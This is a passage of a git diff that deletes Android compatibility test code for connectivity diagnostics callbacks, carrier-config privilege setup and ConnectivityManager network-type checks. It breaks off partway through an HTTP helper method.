-            doBroadcastCarrierConfigsAndVerifyOnConnectivityReportAvailable(
-                    subId, carrierConfigReceiver, testNetworkCallback);
-        } finally {
-            runWithShellPermissionIdentity(
-                    () -> mCarrierConfigManager.overrideConfig(subId, null),
-                    android.Manifest.permission.MODIFY_PHONE_STATE);
-            mConnectivityManager.unregisterNetworkCallback(testNetworkCallback);
-            mContext.unregisterReceiver(carrierConfigReceiver);
-        }
-    }
-
-    private String getCertHashForThisPackage() throws Exception {
-        final PackageInfo pkgInfo =
-                mPackageManager.getPackageInfo(
-                        mContext.getOpPackageName(), PackageManager.GET_SIGNATURES);
-        final MessageDigest md = MessageDigest.getInstance(SHA_256);
-        final byte[] certHash = md.digest(pkgInfo.signatures[0].toByteArray());
-        return IccUtils.bytesToHexString(certHash);
-    }
-
-    private void doBroadcastCarrierConfigsAndVerifyOnConnectivityReportAvailable(
-            int subId,
-            @NonNull CarrierConfigReceiver carrierConfigReceiver,
-            @NonNull TestNetworkCallback testNetworkCallback)
-            throws Exception {
-        final PersistableBundle carrierConfigs = new PersistableBundle();
-        carrierConfigs.putStringArray(
-                CarrierConfigManager.KEY_CARRIER_CERTIFICATE_STRING_ARRAY,
-                new String[] {getCertHashForThisPackage()});
-
-        runWithShellPermissionIdentity(
-                () -> {
-                    mCarrierConfigManager.overrideConfig(subId, carrierConfigs);
-                    mCarrierConfigManager.notifyConfigChangedForSubId(subId);
-                },
-                android.Manifest.permission.MODIFY_PHONE_STATE);
-
-        // TODO(b/157779832): This should use android.permission.CHANGE_NETWORK_STATE. However, the
-        // shell does not have CHANGE_NETWORK_STATE, so use CONNECTIVITY_INTERNAL until the shell
-        // permissions are updated.
-        runWithShellPermissionIdentity(
-                () -> mConnectivityManager.requestNetwork(
-                        CELLULAR_NETWORK_REQUEST, testNetworkCallback),
-                android.Manifest.permission.CONNECTIVITY_INTERNAL);
-
-        final Network network = testNetworkCallback.waitForAvailable();
-        assertNotNull(network);
-
-        assertTrue("Didn't receive broadcast for ACTION_CARRIER_CONFIG_CHANGED for subId=" + subId,
-                carrierConfigReceiver.waitForCarrierConfigChanged());
-        assertTrue("Don't have Carrier Privileges after adding cert for this package",
-                mTelephonyManager.createForSubscriptionId(subId).hasCarrierPrivileges());
-
-        // Wait for CarrierPrivilegesTracker to receive the ACTION_CARRIER_CONFIG_CHANGED
-        // broadcast. CPT then needs to update the corresponding DataConnection, which then
-        // updates ConnectivityService. Unfortunately, this update to the NetworkCapabilities in
-        // CS does not trigger NetworkCallback#onCapabilitiesChanged as changing the
-        // administratorUids is not a publicly visible change. In lieu of a better signal to
-        // detministically wait for, use Thread#sleep here.
-        // TODO(b/157949581): replace this Thread#sleep with a deterministic signal
-        Thread.sleep(DELAY_FOR_ADMIN_UIDS_MILLIS);
-
-        final TestConnectivityDiagnosticsCallback connDiagsCallback =
-                createAndRegisterConnectivityDiagnosticsCallback(CELLULAR_NETWORK_REQUEST);
-
-        final String interfaceName =
-                mConnectivityManager.getLinkProperties(network).getInterfaceName();
-        connDiagsCallback.expectOnConnectivityReportAvailable(
-                network, interfaceName, TRANSPORT_CELLULAR);
-        connDiagsCallback.assertNoCallback();
-    }
-
-    @Test
-    public void testRegisterDuplicateConnectivityDiagnosticsCallback() {
-        final TestConnectivityDiagnosticsCallback cb =
-                createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
-
-        try {
-            mCdm.registerConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST, INLINE_EXECUTOR, cb);
-            fail("Registering the same callback twice should throw an IllegalArgumentException");
-        } catch (IllegalArgumentException expected) {
-        }
-    }
-
-    @Test
-    public void testUnregisterConnectivityDiagnosticsCallback() {
-        final TestConnectivityDiagnosticsCallback cb = new TestConnectivityDiagnosticsCallback();
-        mCdm.registerConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST, INLINE_EXECUTOR, cb);
-        mCdm.unregisterConnectivityDiagnosticsCallback(cb);
-    }
-
-    @Test
-    public void testUnregisterUnknownConnectivityDiagnosticsCallback() {
-        // Expected to silently ignore the unregister() call
-        mCdm.unregisterConnectivityDiagnosticsCallback(new TestConnectivityDiagnosticsCallback());
-    }
-
-    @Test
-    public void testOnConnectivityReportAvailable() throws Exception {
-        final TestConnectivityDiagnosticsCallback cb =
-                createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
-
-        mTestNetworkFD = setUpTestNetwork().getFileDescriptor();
-        mTestNetwork = mTestNetworkCallback.waitForAvailable();
-
-        final String interfaceName =
-                mConnectivityManager.getLinkProperties(mTestNetwork).getInterfaceName();
-
-        cb.expectOnConnectivityReportAvailable(mTestNetwork, interfaceName);
-        cb.assertNoCallback();
-    }
-
-    @Test
-    public void testOnDataStallSuspected_DnsEvents() throws Exception {
-        final PersistableBundle extras = new PersistableBundle();
-        extras.putInt(KEY_DNS_CONSECUTIVE_TIMEOUTS, DNS_CONSECUTIVE_TIMEOUTS);
-
-        verifyOnDataStallSuspected(DETECTION_METHOD_DNS_EVENTS, TIMESTAMP, extras);
-    }
-
-    @Test
-    public void testOnDataStallSuspected_TcpMetrics() throws Exception {
-        final PersistableBundle extras = new PersistableBundle();
-        extras.putInt(KEY_TCP_METRICS_COLLECTION_PERIOD_MILLIS, COLLECTION_PERIOD_MILLIS);
-        extras.putInt(KEY_TCP_PACKET_FAIL_RATE, FAIL_RATE_PERCENTAGE);
-
-        verifyOnDataStallSuspected(DETECTION_METHOD_TCP_METRICS, TIMESTAMP, extras);
-    }
-
-    @Test
-    public void testOnDataStallSuspected_UnknownDetectionMethod() throws Exception {
-        verifyOnDataStallSuspected(
-                UNKNOWN_DETECTION_METHOD,
-                FILTERED_UNKNOWN_DETECTION_METHOD,
-                TIMESTAMP,
-                PersistableBundle.EMPTY);
-    }
-
-    private void verifyOnDataStallSuspected(
-            int detectionMethod, long timestampMillis, @NonNull PersistableBundle extras)
-            throws Exception {
-        // Input detection method is expected to match received detection method
-        verifyOnDataStallSuspected(detectionMethod, detectionMethod, timestampMillis, extras);
-    }
-
-    private void verifyOnDataStallSuspected(
-            int inputDetectionMethod,
-            int expectedDetectionMethod,
-            long timestampMillis,
-            @NonNull PersistableBundle extras)
-            throws Exception {
-        mTestNetworkFD = setUpTestNetwork().getFileDescriptor();
-        mTestNetwork = mTestNetworkCallback.waitForAvailable();
-
-        final TestConnectivityDiagnosticsCallback cb =
-                createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
-
-        final String interfaceName =
-                mConnectivityManager.getLinkProperties(mTestNetwork).getInterfaceName();
-
-        cb.expectOnConnectivityReportAvailable(mTestNetwork, interfaceName);
-
-        runWithShellPermissionIdentity(
-                () -> mConnectivityManager.simulateDataStall(
-                        inputDetectionMethod, timestampMillis, mTestNetwork, extras),
-                android.Manifest.permission.MANAGE_TEST_NETWORKS);
-
-        cb.expectOnDataStallSuspected(
-                mTestNetwork, interfaceName, expectedDetectionMethod, timestampMillis, extras);
-        cb.assertNoCallback();
-    }
-
-    @Test
-    public void testOnNetworkConnectivityReportedTrue() throws Exception {
-        verifyOnNetworkConnectivityReported(true /* hasConnectivity */);
-    }
-
-    @Test
-    public void testOnNetworkConnectivityReportedFalse() throws Exception {
-        verifyOnNetworkConnectivityReported(false /* hasConnectivity */);
-    }
-
-    private void verifyOnNetworkConnectivityReported(boolean hasConnectivity) throws Exception {
-        mTestNetworkFD = setUpTestNetwork().getFileDescriptor();
-        mTestNetwork = mTestNetworkCallback.waitForAvailable();
-
-        final TestConnectivityDiagnosticsCallback cb =
-                createAndRegisterConnectivityDiagnosticsCallback(TEST_NETWORK_REQUEST);
-
-        // onConnectivityReportAvailable always invoked when the test network is established
-        final String interfaceName =
-                mConnectivityManager.getLinkProperties(mTestNetwork).getInterfaceName();
-        cb.expectOnConnectivityReportAvailable(mTestNetwork, interfaceName);
-        cb.assertNoCallback();
-
-        mConnectivityManager.reportNetworkConnectivity(mTestNetwork, hasConnectivity);
-
-        cb.expectOnNetworkConnectivityReported(mTestNetwork, hasConnectivity);
-
-        // if hasConnectivity does not match the network's known connectivity, it will be
-        // revalidated which will trigger another onConnectivityReportAvailable callback.
-        if (!hasConnectivity) {
-            cb.expectOnConnectivityReportAvailable(mTestNetwork, interfaceName);
-        }
-
-        cb.assertNoCallback();
-    }
-
-    private TestConnectivityDiagnosticsCallback createAndRegisterConnectivityDiagnosticsCallback(
-            NetworkRequest request) {
-        final TestConnectivityDiagnosticsCallback cb = new TestConnectivityDiagnosticsCallback();
-        mCdm.registerConnectivityDiagnosticsCallback(request, INLINE_EXECUTOR, cb);
-        mRegisteredCallbacks.add(cb);
-        return cb;
-    }
-
-    /**
-     * Registers a test NetworkAgent with ConnectivityService with limited capabilities, which leads
-     * to the Network being validated.
-     */
-    @NonNull
-    private TestNetworkInterface setUpTestNetwork() throws Exception {
-        final int[] administratorUids = new int[] {Process.myUid()};
-        return callWithShellPermissionIdentity(
-                () -> {
-                    final TestNetworkManager tnm =
-                            mContext.getSystemService(TestNetworkManager.class);
-                    final TestNetworkInterface tni = tnm.createTunInterface(new LinkAddress[0]);
-                    tnm.setupTestNetwork(tni.getInterfaceName(), administratorUids, BINDER);
-                    return tni;
-                });
-    }
-
-    private static class TestConnectivityDiagnosticsCallback
-            extends ConnectivityDiagnosticsCallback {
-        private final ArrayTrackRecord<Object>.ReadHead mHistory =
-                new ArrayTrackRecord<Object>().newReadHead();
-
-        @Override
-        public void onConnectivityReportAvailable(ConnectivityReport report) {
-            mHistory.add(report);
-        }
-
-        @Override
-        public void onDataStallSuspected(DataStallReport report) {
-            mHistory.add(report);
-        }
-
-        @Override
-        public void onNetworkConnectivityReported(Network network, boolean hasConnectivity) {
-            mHistory.add(new Pair<Network, Boolean>(network, hasConnectivity));
-        }
-
-        public void expectOnConnectivityReportAvailable(
-                @NonNull Network network, @NonNull String interfaceName) {
-            expectOnConnectivityReportAvailable(network, interfaceName, TRANSPORT_TEST);
-        }
-
-        public void expectOnConnectivityReportAvailable(
-                @NonNull Network network, @NonNull String interfaceName, int transportType) {
-            final ConnectivityReport result =
-                    (ConnectivityReport) mHistory.poll(CALLBACK_TIMEOUT_MILLIS, x -> true);
-            assertEquals(network, result.getNetwork());
-
-            final NetworkCapabilities nc = result.getNetworkCapabilities();
-            assertNotNull(nc);
-            assertTrue(nc.hasTransport(transportType));
-            assertNotNull(result.getLinkProperties());
-            assertEquals(interfaceName, result.getLinkProperties().getInterfaceName());
-
-            final PersistableBundle extras = result.getAdditionalInfo();
-            assertTrue(extras.containsKey(KEY_NETWORK_VALIDATION_RESULT));
-            final int validationResult = extras.getInt(KEY_NETWORK_VALIDATION_RESULT);
-            assertEquals("Network validation result is not 'valid'",
-                    NETWORK_VALIDATION_RESULT_VALID, validationResult);
-
-            assertTrue(extras.containsKey(KEY_NETWORK_PROBES_SUCCEEDED_BITMASK));
-            final int probesSucceeded = extras.getInt(KEY_NETWORK_VALIDATION_RESULT);
-            assertTrue("PROBES_SUCCEEDED mask not in expected range", probesSucceeded >= 0);
-
-            assertTrue(extras.containsKey(KEY_NETWORK_PROBES_ATTEMPTED_BITMASK));
-            final int probesAttempted = extras.getInt(KEY_NETWORK_PROBES_ATTEMPTED_BITMASK);
-            assertTrue("PROBES_ATTEMPTED mask not in expected range", probesAttempted >= 0);
-        }
-
-        public void expectOnDataStallSuspected(
-                @NonNull Network network,
-                @NonNull String interfaceName,
-                int detectionMethod,
-                long timestampMillis,
-                @NonNull PersistableBundle extras) {
-            final DataStallReport result =
-                    (DataStallReport) mHistory.poll(CALLBACK_TIMEOUT_MILLIS, x -> true);
-            assertEquals(network, result.getNetwork());
-            assertEquals(detectionMethod, result.getDetectionMethod());
-            assertEquals(timestampMillis, result.getReportTimestamp());
-
-            final NetworkCapabilities nc = result.getNetworkCapabilities();
-            assertNotNull(nc);
-            assertTrue(nc.hasTransport(TRANSPORT_TEST));
-            assertNotNull(result.getLinkProperties());
-            assertEquals(interfaceName, result.getLinkProperties().getInterfaceName());
-
-            assertTrue(persistableBundleEquals(extras, result.getStallDetails()));
-        }
-
-        public void expectOnNetworkConnectivityReported(
-                @NonNull Network network, boolean hasConnectivity) {
-            final Pair<Network, Boolean> result =
-                    (Pair<Network, Boolean>) mHistory.poll(CALLBACK_TIMEOUT_MILLIS, x -> true);
-            assertEquals(network, result.first /* network */);
-            assertEquals(hasConnectivity, result.second /* hasConnectivity */);
-        }
-
-        public void assertNoCallback() {
-            // If no more callbacks exist, there should be nothing left in the ReadHead
-            assertNull("Unexpected event in history",
-                    mHistory.poll(NO_CALLBACK_INVOKED_TIMEOUT, x -> true));
-        }
-    }
-
-    private class CarrierConfigReceiver extends BroadcastReceiver {
-        private final CountDownLatch mLatch = new CountDownLatch(1);
-        private final int mSubId;
-
-        CarrierConfigReceiver(int subId) {
-            mSubId = subId;
-        }
-
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            if (!CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED.equals(intent.getAction())) {
-                return;
-            }
-
-            final int subId =
-                    intent.getIntExtra(
-                            CarrierConfigManager.EXTRA_SUBSCRIPTION_INDEX,
-                            SubscriptionManager.INVALID_SUBSCRIPTION_ID);
-            if (mSubId != subId) return;
-
-            final PersistableBundle carrierConfigs = mCarrierConfigManager.getConfigForSubId(subId);
-            if (!CarrierConfigManager.isConfigForIdentifiedCarrier(carrierConfigs)) return;
-
-            final String[] certs =
-                    carrierConfigs.getStringArray(
-                            CarrierConfigManager.KEY_CARRIER_CERTIFICATE_STRING_ARRAY);
-            try {
-                if (ArrayUtils.contains(certs, getCertHashForThisPackage())) {
-                    mLatch.countDown();
-                }
-            } catch (Exception e) {
-            }
-        }
-
-        boolean waitForCarrierConfigChanged() throws Exception {
-            return mLatch.await(CARRIER_CONFIG_CHANGED_BROADCAST_TIMEOUT, TimeUnit.MILLISECONDS);
-        }
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
deleted file mode 100644
index db4e3e7..0000000
--- a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+++ /dev/null
@@ -1,1530 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import static android.Manifest.permission.CONNECTIVITY_USE_RESTRICTED_NETWORKS;
-import static android.Manifest.permission.NETWORK_SETTINGS;
-import static android.content.pm.PackageManager.FEATURE_ETHERNET;
-import static android.content.pm.PackageManager.FEATURE_TELEPHONY;
-import static android.content.pm.PackageManager.FEATURE_USB_HOST;
-import static android.content.pm.PackageManager.FEATURE_WIFI;
-import static android.content.pm.PackageManager.GET_PERMISSIONS;
-import static android.content.pm.PackageManager.PERMISSION_GRANTED;
-import static android.net.NetworkCapabilities.NET_CAPABILITY_IMS;
-import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
-import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_METERED;
-import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_RESTRICTED;
-import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
-import static android.net.cts.util.CtsNetUtils.ConnectivityActionReceiver;
-import static android.net.cts.util.CtsNetUtils.HTTP_PORT;
-import static android.net.cts.util.CtsNetUtils.NETWORK_CALLBACK_ACTION;
-import static android.net.cts.util.CtsNetUtils.TEST_HOST;
-import static android.net.cts.util.CtsNetUtils.TestNetworkCallback;
-import static android.os.MessageQueue.OnFileDescriptorEventListener.EVENT_INPUT;
-import static android.provider.Settings.Global.NETWORK_METERED_MULTIPATH_PREFERENCE;
-import static android.system.OsConstants.AF_INET;
-import static android.system.OsConstants.AF_INET6;
-import static android.system.OsConstants.AF_UNSPEC;
-
-import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
-import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
-import static com.android.testutils.TestPermissionUtil.runAsShell;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNotSame;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeTrue;
-
-import android.annotation.NonNull;
-import android.app.Instrumentation;
-import android.app.PendingIntent;
-import android.app.UiAutomation;
-import android.content.BroadcastReceiver;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
-import android.content.res.Resources;
-import android.net.ConnectivityManager;
-import android.net.ConnectivityManager.NetworkCallback;
-import android.net.IpSecManager;
-import android.net.IpSecManager.UdpEncapsulationSocket;
-import android.net.LinkProperties;
-import android.net.Network;
-import android.net.NetworkCapabilities;
-import android.net.NetworkConfig;
-import android.net.NetworkInfo;
-import android.net.NetworkInfo.DetailedState;
-import android.net.NetworkInfo.State;
-import android.net.NetworkRequest;
-import android.net.NetworkUtils;
-import android.net.SocketKeepalive;
-import android.net.cts.util.CtsNetUtils;
-import android.net.util.KeepaliveUtils;
-import android.net.wifi.WifiManager;
-import android.os.Binder;
-import android.os.Build;
-import android.os.Looper;
-import android.os.MessageQueue;
-import android.os.SystemClock;
-import android.os.SystemProperties;
-import android.os.VintfRuntimeInfo;
-import android.platform.test.annotations.AppModeFull;
-import android.provider.Settings;
-import android.text.TextUtils;
-import android.util.Log;
-import android.util.Pair;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.internal.util.ArrayUtils;
-import com.android.testutils.RecorderCallback.CallbackEntry;
-import com.android.testutils.SkipPresubmit;
-import com.android.testutils.TestableNetworkCallback;
-
-import libcore.io.Streams;
-
-import junit.framework.AssertionFailedError;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.FileDescriptor;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.io.OutputStream;
-import java.net.HttpURLConnection;
-import java.net.Inet4Address;
-import java.net.Inet6Address;
-import java.net.InetAddress;
-import java.net.InetSocketAddress;
-import java.net.MalformedURLException;
-import java.net.Socket;
-import java.net.URL;
-import java.net.UnknownHostException;
-import java.nio.charset.StandardCharsets;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.HashMap;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.Executor;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-import java.util.function.Supplier;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-@RunWith(AndroidJUnit4.class)
-public class ConnectivityManagerTest {
-
-    private static final String TAG = ConnectivityManagerTest.class.getSimpleName();
-
-    public static final int TYPE_MOBILE = ConnectivityManager.TYPE_MOBILE;
-    public static final int TYPE_WIFI = ConnectivityManager.TYPE_WIFI;
-
-    private static final int HOST_ADDRESS = 0x7f000001;// represent ip 127.0.0.1
-    private static final int KEEPALIVE_CALLBACK_TIMEOUT_MS = 2000;
-    private static final int INTERVAL_KEEPALIVE_RETRY_MS = 500;
-    private static final int MAX_KEEPALIVE_RETRY_COUNT = 3;
-    private static final int MIN_KEEPALIVE_INTERVAL = 10;
-
-    // Changing meteredness on wifi involves reconnecting, which can take several seconds (involves
-    // re-associating, DHCP...)
-    private static final int NETWORK_CHANGE_METEREDNESS_TIMEOUT = 30_000;
-    private static final int NUM_TRIES_MULTIPATH_PREF_CHECK = 20;
-    private static final long INTERVAL_MULTIPATH_PREF_CHECK_MS = 500;
-    // device could have only one interface: data, wifi.
-    private static final int MIN_NUM_NETWORK_TYPES = 1;
-
-    // Airplane Mode BroadcastReceiver Timeout
-    private static final long AIRPLANE_MODE_CHANGE_TIMEOUT_MS = 10_000L;
-
-    // Minimum supported keepalive counts for wifi and cellular.
-    public static final int MIN_SUPPORTED_CELLULAR_KEEPALIVE_COUNT = 1;
-    public static final int MIN_SUPPORTED_WIFI_KEEPALIVE_COUNT = 3;
-
-    private static final String NETWORK_METERED_MULTIPATH_PREFERENCE_RES_NAME =
-            "config_networkMeteredMultipathPreference";
-    private static final String KEEPALIVE_ALLOWED_UNPRIVILEGED_RES_NAME =
-            "config_allowedUnprivilegedKeepalivePerUid";
-    private static final String KEEPALIVE_RESERVED_PER_SLOT_RES_NAME =
-            "config_reservedPrivilegedKeepaliveSlots";
-
-    private Context mContext;
-    private Instrumentation mInstrumentation;
-    private ConnectivityManager mCm;
-    private WifiManager mWifiManager;
-    private PackageManager mPackageManager;
-    private final HashMap<Integer, NetworkConfig> mNetworks =
-            new HashMap<Integer, NetworkConfig>();
-    boolean mWifiWasDisabled;
-    private UiAutomation mUiAutomation;
-    private CtsNetUtils mCtsNetUtils;
-
-    @Before
-    public void setUp() throws Exception {
-        mInstrumentation = InstrumentationRegistry.getInstrumentation();
-        mContext = mInstrumentation.getContext();
-        mCm = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
-        mWifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
-        mPackageManager = mContext.getPackageManager();
-        mCtsNetUtils = new CtsNetUtils(mContext);
-        mWifiWasDisabled = false;
-
-        // Get com.android.internal.R.array.networkAttributes
-        int resId = mContext.getResources().getIdentifier("networkAttributes", "array", "android");
-        String[] naStrings = mContext.getResources().getStringArray(resId);
-        //TODO: What is the "correct" way to determine if this is a wifi only device?
-        boolean wifiOnly = SystemProperties.getBoolean("ro.radio.noril", false);
-        for (String naString : naStrings) {
-            try {
-                NetworkConfig n = new NetworkConfig(naString);
-                if (wifiOnly && ConnectivityManager.isNetworkTypeMobile(n.type)) {
-                    continue;
-                }
-                mNetworks.put(n.type, n);
-            } catch (Exception e) {}
-        }
-        mUiAutomation = mInstrumentation.getUiAutomation();
-
-        assertNotNull("CTS requires a working Internet connection", mCm.getActiveNetwork());
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        // Return WiFi to its original disabled state after tests that explicitly connect.
-        if (mWifiWasDisabled) {
-            mCtsNetUtils.disconnectFromWifi(null);
-        }
-        if (mCtsNetUtils.cellConnectAttempted()) {
-            mCtsNetUtils.disconnectFromCell();
-        }
-
-        // All tests in this class require a working Internet connection as they start. Make
-        // sure there is still one as they end that's ready to use for the next test to use.
-        final TestNetworkCallback callback = new TestNetworkCallback();
-        mCm.registerDefaultNetworkCallback(callback);
-        try {
-            assertNotNull("Couldn't restore Internet connectivity", callback.waitForAvailable());
-        } finally {
-            mCm.unregisterNetworkCallback(callback);
-        }
-    }
-
-    /**
-     * Make sure WiFi is connected to an access point if it is not already. If
-     * WiFi is enabled as a result of this function, it will be disabled
-     * automatically in tearDown().
-     */
-    private Network ensureWifiConnected() {
-        mWifiWasDisabled = !mWifiManager.isWifiEnabled();
-        // Even if wifi is enabled, the network may not be connected or ready yet
-        return mCtsNetUtils.connectToWifi();
-    }
-
-    @Test
-    public void testIsNetworkTypeValid() {
-        assertTrue(ConnectivityManager.isNetworkTypeValid(ConnectivityManager.TYPE_MOBILE));
-        assertTrue(ConnectivityManager.isNetworkTypeValid(ConnectivityManager.TYPE_WIFI));
-        assertTrue(ConnectivityManager.isNetworkTypeValid(ConnectivityManager.TYPE_MOBILE_MMS));
-        assertTrue(ConnectivityManager.isNetworkTypeValid(ConnectivityManager.TYPE_MOBILE_SUPL));
-        assertTrue(ConnectivityManager.isNetworkTypeValid(ConnectivityManager.TYPE_MOBILE_DUN));
-        assertTrue(ConnectivityManager.isNetworkTypeValid(ConnectivityManager.TYPE_MOBILE_HIPRI));
-        assertTrue(ConnectivityManager.isNetworkTypeValid(ConnectivityManager.TYPE_WIMAX));
-        assertTrue(ConnectivityManager.isNetworkTypeValid(ConnectivityManager.TYPE_BLUETOOTH));
-        assertTrue(ConnectivityManager.isNetworkTypeValid(ConnectivityManager.TYPE_DUMMY));
-        assertTrue(ConnectivityManager.isNetworkTypeValid(ConnectivityManager.TYPE_ETHERNET));
-        assertTrue(mCm.isNetworkTypeValid(ConnectivityManager.TYPE_MOBILE_FOTA));
-        assertTrue(mCm.isNetworkTypeValid(ConnectivityManager.TYPE_MOBILE_IMS));
-        assertTrue(mCm.isNetworkTypeValid(ConnectivityManager.TYPE_MOBILE_CBS));
-        assertTrue(mCm.isNetworkTypeValid(ConnectivityManager.TYPE_WIFI_P2P));
-        assertTrue(mCm.isNetworkTypeValid(ConnectivityManager.TYPE_MOBILE_IA));
-        assertFalse(mCm.isNetworkTypeValid(-1));
-        assertTrue(mCm.isNetworkTypeValid(0));
-        assertTrue(mCm.isNetworkTypeValid(ConnectivityManager.MAX_NETWORK_TYPE));
-        assertFalse(ConnectivityManager.isNetworkTypeValid(ConnectivityManager.MAX_NETWORK_TYPE+1));
-
-        NetworkInfo[] ni = mCm.getAllNetworkInfo();
-
-        for (NetworkInfo n: ni) {
-            assertTrue(ConnectivityManager.isNetworkTypeValid(n.getType()));
-        }
-
-    }
-
-    @Test
-    public void testSetNetworkPreference() {
-        // getNetworkPreference() and setNetworkPreference() are both deprecated so they do
-        // not preform any action.  Verify they are at least still callable.
-        mCm.setNetworkPreference(mCm.getNetworkPreference());
-    }
-
-    @Test
-    public void testGetActiveNetworkInfo() {
-        NetworkInfo ni = mCm.getActiveNetworkInfo();
-
-        assertNotNull("You must have an active network connection to complete CTS", ni);
-        assertTrue(ConnectivityManager.isNetworkTypeValid(ni.getType()));
-        assertTrue(ni.getState() == State.CONNECTED);
-    }
-
-    @Test
-    public void testGetActiveNetwork() {
-        Network network = mCm.getActiveNetwork();
-        assertNotNull("You must have an active network connection to complete CTS", network);
-
-        NetworkInfo ni = mCm.getNetworkInfo(network);
-        assertNotNull("Network returned from getActiveNetwork was invalid", ni);
-
-        // Similar to testGetActiveNetworkInfo above.
-        assertTrue(ConnectivityManager.isNetworkTypeValid(ni.getType()));
-        assertTrue(ni.getState() == State.CONNECTED);
-    }
-
-    @Test
-    public void testGetNetworkInfo() {
-        for (int type = -1; type <= ConnectivityManager.MAX_NETWORK_TYPE+1; type++) {
-            if (shouldBeSupported(type)) {
-                NetworkInfo ni = mCm.getNetworkInfo(type);
-                assertTrue("Info shouldn't be null for " + type, ni != null);
-                State state = ni.getState();
-                assertTrue("Bad state for " + type, State.UNKNOWN.ordinal() >= state.ordinal()
-                           && state.ordinal() >= State.CONNECTING.ordinal());
-                DetailedState ds = ni.getDetailedState();
-                assertTrue("Bad detailed state for " + type,
-                           DetailedState.FAILED.ordinal() >= ds.ordinal()
-                           && ds.ordinal() >= DetailedState.IDLE.ordinal());
-            } else {
-                assertNull("Info should be null for " + type, mCm.getNetworkInfo(type));
-            }
-        }
-    }
-
-    @Test
-    public void testGetAllNetworkInfo() {
-        NetworkInfo[] ni = mCm.getAllNetworkInfo();
-        assertTrue(ni.length >= MIN_NUM_NETWORK_TYPES);
-        for (int type = 0; type <= ConnectivityManager.MAX_NETWORK_TYPE; type++) {
-            int desiredFoundCount = (shouldBeSupported(type) ? 1 : 0);
-            int foundCount = 0;
-            for (NetworkInfo i : ni) {
-                if (i.getType() == type) foundCount++;
-            }
-            if (foundCount != desiredFoundCount) {
-                Log.e(TAG, "failure in testGetAllNetworkInfo.  Dump of returned NetworkInfos:");
-                for (NetworkInfo networkInfo : ni) Log.e(TAG, "  " + networkInfo);
-            }
-            assertTrue("Unexpected foundCount of " + foundCount + " for type " + type,
-                    foundCount == desiredFoundCount);
-        }
-    }
-
-    /**
-     * Tests that connections can be opened on WiFi and cellphone networks,
-     * and that they are made from different IP addresses.
-     */
-    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
-    @Test
-    @SkipPresubmit(reason = "Virtual devices use a single internet connection for all networks")
-    public void testOpenConnection() throws Exception {
-        boolean canRunTest = mPackageManager.hasSystemFeature(FEATURE_WIFI)
-                && mPackageManager.hasSystemFeature(FEATURE_TELEPHONY);
-        if (!canRunTest) {
-            Log.i(TAG,"testOpenConnection cannot execute unless device supports both WiFi "
-                    + "and a cellular connection");
-            return;
-        }
-
-        Network wifiNetwork = mCtsNetUtils.connectToWifi();
-        Network cellNetwork = mCtsNetUtils.connectToCell();
-        // This server returns the requestor's IP address as the response body.
-        URL url = new URL("http://google-ipv6test.appspot.com/ip.js?fmt=text");
-        String wifiAddressString = httpGet(wifiNetwork, url);
-        String cellAddressString = httpGet(cellNetwork, url);
-
-        assertFalse(String.format("Same address '%s' on two different networks (%s, %s)",
-                wifiAddressString, wifiNetwork, cellNetwork),
-                wifiAddressString.equals(cellAddressString));
-
-        // Verify that the IP addresses that the requests appeared to come from are actually on the
-        // respective networks.
-        assertOnNetwork(wifiAddressString, wifiNetwork);
-        assertOnNetwork(cellAddressString, cellNetwork);
-
-        assertFalse("Unexpectedly equal: " + wifiNetwork, wifiNetwork.equals(cellNetwork));
-    }
-
-    /**
-     * Performs a HTTP GET to the specified URL on the specified Network, and returns
-     * the response body decoded as UTF-8.
-     */
-    private static String httpGet(Network network, URL httpUrl) throws IOException {
-        HttpURLConnection connection = (HttpURLConnection) network.openConnection(httpUrl);
-        try {
-            InputStream inputStream = connection.getInputStream();
-            return Streams.readFully(new InputStreamReader(inputStream, StandardCharsets.UTF_8));
-        } finally {
